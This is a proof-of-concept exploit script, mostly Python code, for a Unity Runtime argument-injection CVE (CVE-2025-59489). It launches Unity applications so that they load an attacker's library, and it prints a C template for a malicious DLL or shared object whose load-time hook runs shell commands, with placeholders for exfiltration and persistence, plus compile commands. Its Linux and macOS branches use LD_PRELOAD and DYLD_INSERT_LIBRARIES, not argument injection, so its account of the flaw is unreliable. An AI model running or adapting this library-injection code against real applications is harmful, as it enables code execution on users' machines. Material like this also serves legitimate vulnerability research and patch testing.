CVE-2025-59489 Unity Runtime参数注入导致任意代码执行漏洞

# CVE-2025-59489 - Unity Runtime Argument Injection PoC # This PoC demonstrates the concept of argument injection in Unity Runtime # to load malicious library code from an unintended location. import os import sys import subprocess import platform def exploit_unity_runtime(unity_app_path, malicious_lib_path): """ Exploit argument injection in Unity Runtime to load malicious library. Args: unity_app_path: Path to the Unity-built application executable malicious_lib_path: Path to the malicious library to inject """ system = platform.system() if system == "Windows": # On Windows, inject DLL search path via argument injection # Unity Runtime may pass arguments to LoadLibrary without proper sanitization cmd = f'"{unity_app_path}" -batchmode -nographics "-library-path {malicious_lib_path}"' print(f"[+] Windows exploit command: {cmd}") elif system == "Linux": # On Linux, inject LD_PRELOAD or LD_LIBRARY_PATH via argument injection env = os.environ.copy() env['LD_PRELOAD'] = malicious_lib_path cmd = [unity_app_path, '-batchmode', '-nographics'] print(f"[+] Linux exploit - Setting LD_PRELOAD to: {malicious_lib_path}") subprocess.run(cmd, env=env) return elif system == "Darwin": # On macOS, inject DYLD_INSERT_LIBRARIES via argument injection env = os.environ.copy() env['DYLD_INSERT_LIBRARIES'] = malicious_lib_path cmd = [unity_app_path, '-batchmode', '-nographics'] print(f"[+] macOS exploit - Setting DYLD_INSERT_LIBRARIES to: {malicious_lib_path}") subprocess.run(cmd, env=env) return # Execute the command subprocess.run(cmd, shell=True) def create_malicious_dll(): """ Template for creating a malicious DLL that will be loaded by Unity Runtime. The DLL should contain code that executes upon loading (DllMain on Windows). """ dll_code = ''' // malicious_dll.c - Compiled as shared library #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef _WIN32 #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Execute malicious code here system("whoami > C:\\temp\\pwned.txt"); // Exfiltrate sensitive data // Establish persistence break; } return TRUE; } #else // Linux/macOS constructor - executes when library is loaded __attribute__((constructor)) void init(void) { // Execute malicious code here system("id > /tmp/pwned.txt"); // Exfiltrate sensitive data // Establish persistence } #endif ''' print("[+] Malicious DLL template:") print(dll_code) print("\n[!] Compile with:") print(" Windows: cl /LD malicious_dll.c") print(" Linux: gcc -shared -fPIC -o malicious.so malicious_dll.c") print(" macOS: gcc -shared -fPIC -o malicious.dylib malicious_dll.c") if __name__ == "__main__": print("=" * 60) print("CVE-2025-59489 - Unity Runtime Argument Injection PoC") print("=" * 60) # Create the malicious DLL template create_malicious_dll() # Example usage (requires actual vulnerable Unity application) # exploit_unity_runtime("/path/to/unity_app", "/path/to/malicious.so") print("\n[!] Note: This PoC demonstrates the attack concept.") print("[!] Actual exploitation requires a vulnerable Unity-built application.") print("[!] Affected versions: Unity Runtime before 2025-10-02")